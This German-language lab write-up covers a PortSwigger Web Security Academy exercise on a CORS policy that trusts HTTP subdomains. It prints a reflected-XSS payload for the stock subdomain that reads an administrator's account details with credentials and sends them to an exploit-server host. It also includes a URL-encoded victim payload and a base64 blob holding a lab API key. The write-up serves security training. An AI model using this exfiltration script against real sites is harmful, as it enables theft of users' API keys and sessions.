> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS mit vertrauenswürdigen unsicheren Protokollen

Notizen zu CORS mit vertrauenswürdigen unsicheren Protokollen für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### CORS-Schwachstelle mit vertrauenswürdigen unsicheren Protokollen

Die Website hat eine verwundbare CORS-Konfiguration: Sie vertraut allen **Subdomains**, selbst bei Verwendung von **HTTP**. Das Ziel ist es, den API-Schlüssel des Administrators über CORS abzurufen und ihn an den angreifenden Server zu exfiltrieren.

Bereitgestellte Zugangsdaten: `wiener:peter`.Die Website hat eine verwundbare CORS-Konfiguration: Sie vertraut allen **Subdomains**, selbst bei Verwendung von **HTTP**. Das Ziel ist es, den API-Schlüssel des Administrators über CORS abzurufen und ihn an den angreifenden Server zu exfiltrieren.

Bereitgestellte Zugangsdaten: `wiener:peter`.

#### Beobachtungen

* Die Root-Domain wird akzeptiert in **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03b8f53f1d73d2248aa0817f6ef7b13481bc88b2%2F%7B753528B9-5C90-4408-9586-F6637353734E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Subdomains** in HTTP werden ebenfalls akzeptiert:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5395fe07b351a15ed3029546ffa55a1bd63fa9ce%2F%7B57F2E23A-5484-40D4-8C5A-8906831F81CD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Über Stockcheck identifizierte Subdomain:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de94abfb106a7d1b61d5d6bb18aa6678dfd83bed%2F%7B80D49520-3E5E-495C-A92D-68219230C80D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dieser Artikel spiegelt `productId` → \*\*HTML/JS\*\*-Injection möglich:

```html
?productId=test&storeId=1
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-deb1a67546848c7608f36c8b764be42dbf912839%2F%7BED081033-61A4-462A-B337-F4FA02C27E26%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d57c6471c947230db0eed8aac3bf51509ee0999f%2F%7BB0C89E2A-DE59-44A0-B3C1-EDADA8CA1EFD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c39961c83547a93fc0bb0c42273093ead3d75e9%2F%7B09CEDAD3-B9FB-430C-AEC1-5E4B705090F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ausnutzung: Lesen von `/accountDetails` und Exfiltration

Verwendetes XHR-Skript (über Subdomain gesendet):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Skript in den `productId` Parameter der verwundbaren Subdomain:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Zur auszunutzenden URL weiterleiten mit dem `apiKey` Variable, die die kodierte Antwort enthält.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-922aeb0a58e86760f2acba38180b562cbeea7886%2F%7B1831EA33-51C0-474F-81CA-62F01D01AA52%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### An das Opfer gesendete Nutzlast (URL-kodierte Version)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Den API-Schlüssel auf dem Server empfangen, um ihn über den `apiKey` Parameter.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a24ace683c7d5aa2bbd5e412105d9c5e6886543f%2F%7B8A3DE62E-6543-4074-BCEB-34162FD66695%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Dekodierung durchgeführt mit:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41b05eb06e8c5bd008b05ca7a5cd7bb4fb68ac6e%2F%7BA9A610D7-9469-41E0-917E-99EBFCA3DEB4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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